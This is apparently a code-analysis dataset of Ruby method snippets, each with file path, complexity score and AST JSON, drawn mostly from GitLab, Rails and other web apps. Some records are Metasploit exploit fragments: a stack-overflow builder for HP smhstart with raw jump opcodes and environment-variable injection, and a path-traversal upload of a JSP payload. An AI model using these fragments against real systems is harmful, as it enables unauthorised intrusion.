{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/gitlab/github_import/stage/import_collaborators_worker.rb","start_line":44,"raw_source":"def log_no_push_access(project)\n          Gitlab::GithubImport::Logger.warn(\n            log_attributes(\n              project.id,\n              message: 'no push access rights to fetch collaborators',\n              importer: 'Importer::CollaboratorsImporter'\n            )\n          )\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"log_no_push_access\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"GithubImport\"]},\"Logger\"]},\"warn\",{\"type\":\"send\",\"children\":[null,\"log_attributes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"no push access rights to fetch collaborators\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"importer\"]},{\"type\":\"str\",\"children\":[\"Importer::CollaboratorsImporter\"]}]}]}]}]}]}","id":"2aabe63e-c636-4a7e-8825-00428012152c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/groups/settings/ci_cd_controller.rb","start_line":117,"raw_source":"def update_group_params\n        params.require(:group).permit(\n          :max_artifacts_size,\n          :allow_runner_registration_token,\n          :jwt_ci_cd_job_token_enabled\n        )\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"update_group_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"group\"]}]},\"permit\",{\"type\":\"sym\",\"children\":[\"max_artifacts_size\"]},{\"type\":\"sym\",\"children\":[\"allow_runner_registration_token\"]},{\"type\":\"sym\",\"children\":[\"jwt_ci_cd_job_token_enabled\"]}]}]}","id":"c5bc6e6b-efe3-412b-841d-a3c3b29a3ff4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/hp_smhstart.rb","start_line":75,"raw_source":"def exploit\n    pl = payload.encoded\n    padding = rand_text_alpha(target['Offset'])\n    ret = [target['CallEsp']].pack('V')\n    exploit = pl\n    exploit << ret\n    exploit << \"\\x81\\xc4\\x11\\xff\\xff\\xff\"\t# add esp, 0xffffff11\n    exploit << \"\\xe9\\x0e\\xff\\xff\\xff\"\t# jmp => beginning of pl\n    exploit << padding\n    exploit_encoded = Rex::Text.encode_base64(exploit) # to not break the shell base64 is better\n    id = cmd_exec(\"id -un\")\n    if id != \"hpsmh\"\n      fail_with(Failure::NoAccess, \"You are #{id}, you must be hpsmh to exploit this\")\n    end\n    cmd_exec(\"export SSL_SHARE_BASE_DIR=$(echo -n '#{exploit_encoded}' | base64 -d)\")\n    cmd_exec(\"#{datastore['smhstartDir']}/smhstart\")\n  end","complexity_score":29.1,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exploit\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"padding\"]}]},{\"type\":\"lvasgn\",\"children\":[\"exploit_encoded\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"lvar\",\"children\":[\"exploit\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"str\",\"children\":[\"id -un\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},\"!=\",{\"type\":\"str\",\"children\":[\"hpsmh\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoAccess\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"You are \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"str\",\"children\":[\", you must be hpsmh to exploit this\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"export SSL_SHARE_BASE_DIR=$(echo -n '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exploit_encoded\"]}]},{\"type\":\"str\",\"children\":[\"' | base64 -d)\"]}]}]},{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"smhstartDir\"]}]}]},{\"type\":\"str\",\"children\":[\"/smhstart\"]}]}]}]}]}","id":"473e7250-0916-4bbe-b2aa-ee87a3c39566"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/db/data/20250709195003_recalculate_trips_distance.rb","start_line":4,"raw_source":"def up\n    Trip.find_each(&:enqueue_calculation_jobs)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Trip\"]},\"find_each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"enqueue_calculation_jobs\"]}]}]}]}","id":"1eab3363-95d4-431a-b3e1-24542ec7893f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/ml/model_version_presenter.rb","start_line":41,"raw_source":"def artifacts_count\n      model_version.package.package_files.length\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"artifacts_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model_version\"]},\"package\"]},\"package_files\"]},\"length\"]}]}","id":"ea281e45-2ff3-4a7a-a9f0-58a3e3fe6bf4"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/components/meeting_sections/header_component.rb","start_line":70,"raw_source":"def first?\n      @first ||=\n        if @first_and_last.first\n          @first_and_last.first == @meeting_section\n        else\n          @meeting_section.first?\n        end\n    end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"first?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@first\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@first_and_last\"]},\"first\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@first_and_last\"]},\"first\"]},\"==\",{\"type\":\"ivar\",\"children\":[\"@meeting_section\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@meeting_section\"]},\"first?\"]}]}]}]}","id":"55805b81-b706-4058-a979-8423546e7732"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/nexus_repo_manager_el_injection.rb","start_line":75,"raw_source":"def check\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path)\n    )\n\n    unless res\n      return CheckCode::Unknown('Target did not respond to check.')\n    end\n\n    unless res.headers['Server']\n      return CheckCode::Unknown('Target did not respond with Server header.')\n    end\n\n    # Example Server header:\n    # Server: Nexus/3.21.1-01 (OSS)\n    version = res.headers['Server'].scan(%r{^Nexus/([\\d.-]+)}).flatten.first\n\n    unless version\n      return CheckCode::Unknown('Target did not respond with Nexus version.')\n    end\n\n    if Rex::Version.new(version) <= Rex::Version.new('3.21.1')\n      return CheckCode::Appears(\"Nexus #{version} is a vulnerable version.\")\n    end\n\n    CheckCode::Safe(\"Nexus #{version} is NOT a vulnerable version.\")\n  end","complexity_score":29.2,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Target did not respond to check.\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Server\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Target did not respond with Server header.\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Server\"]}]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Nexus/([\\\\d.-]+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"flatten\"]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Target did not respond with Nexus version.\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"version\"]}]},\"<=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"3.21.1\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Nexus \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"str\",\"children\":[\" is a vulnerable version.\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Nexus \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"str\",\"children\":[\" is NOT a vulnerable version.\"]}]}]}]}]}","id":"4e0eae99-e599-429a-bb2a-4c27da521376"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/config/external/file/template.rb","start_line":14,"raw_source":"def initialize(params, context)\n              @location = params[:template]\n\n              super\n            end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]},{\"type\":\"arg\",\"children\":[\"context\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@location\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"template\"]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"275ee19d-ad6c-42be-bd84-f171a8d2d618"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/tools/ci/scenario_examples.rb","start_line":79,"raw_source":"def fetch_examples(klass)\n          logger.info(\"Fetching examples for scenario '#{klass}'\")\n\n          spec_pattern = klass.spec_pattern\n          scenario_tests = scenario_class_tests(spec_pattern)\n          return [] if spec_pattern && scenario_tests.empty? # no executable specs for this scenario class\n\n          Support::ExampleData.fetch(klass.focus, scenario_tests, logger: logger).map do |example|\n            example.slice(:id, :status)\n          end\n        end","complexity_score":16.4,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_examples\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Fetching examples for scenario '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"spec_pattern\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"spec_pattern\"]}]},{\"type\":\"lvasgn\",\"children\":[\"scenario_tests\",{\"type\":\"send\",\"children\":[null,\"scenario_class_tests\",{\"type\":\"lvar\",\"children\":[\"spec_pattern\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spec_pattern\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scenario_tests\"]},\"empty?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Support\"]},\"ExampleData\"]},\"fetch\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"focus\"]},{\"type\":\"lvar\",\"children\":[\"scenario_tests\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"logger\"]},{\"type\":\"send\",\"children\":[null,\"logger\"]}]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"example\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"example\"]},\"slice\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"status\"]}]}]}]}]}","id":"359cba5c-f972-4309-933a-f073a46c7338"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/repository.rb","start_line":83,"raw_source":"def scm\n    @scm ||= scm_adapter.new(\n      url, root_url,\n      login, password, path_encoding,\n      project.identifier\n    )\n\n    # override the adapter's root url with the full url\n    # if none other was set.\n    unless @scm.root_url.present?\n      @scm.root_url = root_url.presence || url\n    end\n\n    @scm\n  end","complexity_score":21.0,"ast_json":"{\"type\":\"def\",\"children\":[\"scm\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@scm\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scm_adapter\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"url\"]},{\"type\":\"send\",\"children\":[null,\"root_url\"]},{\"type\":\"send\",\"children\":[null,\"login\"]},{\"type\":\"send\",\"children\":[null,\"password\"]},{\"type\":\"send\",\"children\":[null,\"path_encoding\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"identifier\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@scm\"]},\"root_url\"]},\"present?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@scm\"]},\"root_url=\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"root_url\"]},\"presence\"]},{\"type\":\"send\",\"children\":[null,\"url\"]}]}]}]},{\"type\":\"ivar\",\"children\":[\"@scm\"]}]}]}","id":"904ac572-0d30-4835-8784-4b5facd239b2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/model/encryption_key.rb","start_line":45,"raw_source":"def encode\n            elems = []\n            elems << OpenSSL::ASN1::ASN1Data.new([encode_type], 0, :CONTEXT_SPECIFIC)\n            elems << OpenSSL::ASN1::ASN1Data.new([encode_value], 1, :CONTEXT_SPECIFIC)\n            seq = OpenSSL::ASN1::Sequence.new(elems)\n\n            seq.to_der\n          end","complexity_score":11.55,"ast_json":"{\"type\":\"def\",\"children\":[\"encode\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"elems\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elems\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"ASN1\"]},\"ASN1Data\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"encode_type\"]}]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"sym\",\"children\":[\"CONTEXT_SPECIFIC\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elems\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"ASN1\"]},\"ASN1Data\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"encode_value\"]}]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"sym\",\"children\":[\"CONTEXT_SPECIFIC\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"seq\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"ASN1\"]},\"Sequence\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"elems\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"seq\"]},\"to_der\"]}]}]}","id":"b0e4ded8-f90e-402c-ad53-0cb2865b761d"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/mini_scheduler_long_running_job_logger.rb","start_line":93,"raw_source":"def stop\n    @mutex.synchronize { @stop_requested = true }\n\n    if @thread\n      @thread.wakeup\n      @thread.join\n      @thread = nil\n    end\n  end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"stop\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mutex\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@stop_requested\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@thread\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@thread\"]},\"wakeup\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@thread\"]},\"join\"]},{\"type\":\"ivasgn\",\"children\":[\"@thread\",{\"type\":\"nil\",\"children\":[]}]}]},null]}]}]}","id":"cc402e79-cbec-46e9-8d55-abab6e8b7c77"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/eventlog_file_upload.rb","start_line":267,"raw_source":"def exploit_native\n    # When using auto targeting, MSF selects the Windows meterpreter as the default payload.\n    # Fail if this is the case and ask the user to select an appropriate payload.\n    if @my_target['Platform'] == 'linux' and payload_instance.name =~ /Windows/\n      fail_with(Failure::BadConfig, \"#{peer} - Select a compatible payload for this Linux target.\")\n    end\n\n    jsp_name = \"#{rand_text_alphanumeric(4 + rand(32 - 4))}.jsp\"\n    target_dir = \"../../webapps/event/\"\n\n    jsp_payload = generate_jsp_payload\n    if not create_zip_and_upload(jsp_payload, target_dir + jsp_name)\n      fail_with(Failure::Unknown, \"#{peer} - Payload upload failed\")\n    end\n\n    return jsp_name\n  end","complexity_score":26.65,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit_native\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@my_target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Platform\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload_instance\"]},\"name\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Select a compatible payload for this Linux target.\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"jsp_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[4]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[32]},\"-\",{\"type\":\"int\",\"children\":[4]}]}]}]}]}]},{\"type\":\"str\",\"children\":[\".jsp\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"target_dir\",{\"type\":\"str\",\"children\":[\"../../webapps/event/\"]}]},{\"type\":\"lvasgn\",\"children\":[\"jsp_payload\",{\"type\":\"send\",\"children\":[null,\"generate_jsp_payload\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_zip_and_upload\",{\"type\":\"lvar\",\"children\":[\"jsp_payload\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_dir\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"jsp_name\"]}]}]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Payload upload failed\"]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jsp_name\"]}]}]}]}","id":"27e74c3d-05e0-432e-b172-0692a7c56978"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/sidebars/organizations/menus/scope_menu.rb","start_line":13,"raw_source":"def title\n          context.container.name\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"title\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"container\"]},\"name\"]}]}","id":"24146f00-ce65-4f3a-8559-5ff4a9a649e3"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/location_search/geocoding_service.rb","start_line":92,"raw_source":"def valid_coordinates?(lat, lon)\n      lat.between?(-90, 90) && lon.between?(-180, 180)\n    end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_coordinates?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"lat\"]},{\"type\":\"arg\",\"children\":[\"lon\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lat\"]},\"between?\",{\"type\":\"int\",\"children\":[-90]},{\"type\":\"int\",\"children\":[90]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lon\"]},\"between?\",{\"type\":\"int\",\"children\":[-180]},{\"type\":\"int\",\"children\":[180]}]}]}]}","id":"d7a18dcf-50ef-413d-877f-ea98fa9b2561"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/module/target.rb","start_line":224,"raw_source":"def payload_disable_nops\n    opts['Payload'] ? opts['Payload']['DisableNops'] : nil\n  end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"payload_disable_nops\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"opts\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"opts\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"DisableNops\"]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"70eca2e6-6276-4e74-855d-8c2b75e620fe"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/multibyte_proxy_test.rb","start_line":10,"raw_source":"def initialize(string)\n      @wrapped_string = string.gsub(/[^\\u0000-\\u007F]/, \"?\")\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"string\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@wrapped_string\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[^\\\\u0000-\\\\u007F]\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"?\"]}]}]}]}","id":"bccb1faa-e899-4bf2-955c-f1905789cafc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/controllers/projects/find_file_controller_spec.rb","start_line":38,"raw_source":"def go(format: 'json')\n      get :list, params: { namespace_id: project.namespace, project_id: project, id: id }, format: format\n    end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"go\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"format\",{\"type\":\"str\",\"children\":[\"json\"]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"list\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"namespace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"lvar\",\"children\":[\"format\"]}]}]}]}]}","id":"9beb43fd-c95b-493b-956f-2590cbfbce37"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/subscriber_test.rb","start_line":17,"raw_source":"def another_open_party(event)\n    events << event\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"another_open_party\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"events\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"event\"]}]}]}","id":"8b677372-b778-4646-835a-9dfe0386339e"}
